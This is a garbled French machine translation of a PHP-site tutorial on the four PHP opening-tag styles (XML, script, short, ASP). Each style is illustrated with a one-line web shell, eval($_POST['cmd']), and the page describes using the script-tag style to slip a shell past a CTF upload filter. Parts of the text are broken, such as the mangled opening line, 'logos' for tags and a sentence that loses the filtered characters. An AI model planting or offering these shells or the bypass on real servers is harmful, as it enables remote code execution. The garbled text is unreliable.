" ; 2. Le style de script, c'est-à-dire "" ; c'est-à-dire " ? >" Attendez."/> " ; 2. Le style de script, c'est-à-dire "" ; c'est-à-dire " ? >" Attendez.">
Maison >développement back-end >Problème PHP >Quels sont les logos de PHP ?
Quels sont les logos de PHP ?
Quatre styles de balisage PHP
1. Style XML
<?php eval($_POST['cmd']); ?>
Le style de balisage recommandé par PHP.
Les administrateurs de serveur ne peuvent pas désactiver ce style et il est disponible sur tous les serveurs.
2. Style de script
<script language="php"> eval($_POST['cmd']); </script>
Il est activé par défaut et ne peut pas être désactivé
L'auteur a rencontré une fois une question CTF qui nécessitait le téléchargement d'un shell, mais le contenu du fichier était filtrés. et php sont remplacés par des espaces. Dans ce style, la valeur de la langue peut être en majuscule ou en minuscule, vous pouvez donc construire le code suivant pour contourner
<script language="php"> eval($_POST['cmd']); </script>
3 Style court
<? eval($_POST['cmd']); ?>
Ce style doit être dans le. fichier de configuration php.ini Activez l'option short_open_tage dans
Ce style n'est pas pris en charge par défaut dans de nombreux environnements
Style 4.ASP
<% eval($_POST['cmd']); %>
Ce style doit être dans le fichier de configuration php.ini Activer l'option asp_tag
est désactivée par défaut
Pour plus de connaissances sur PHP, veuillez visiter le Site Web PHP chinois !
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!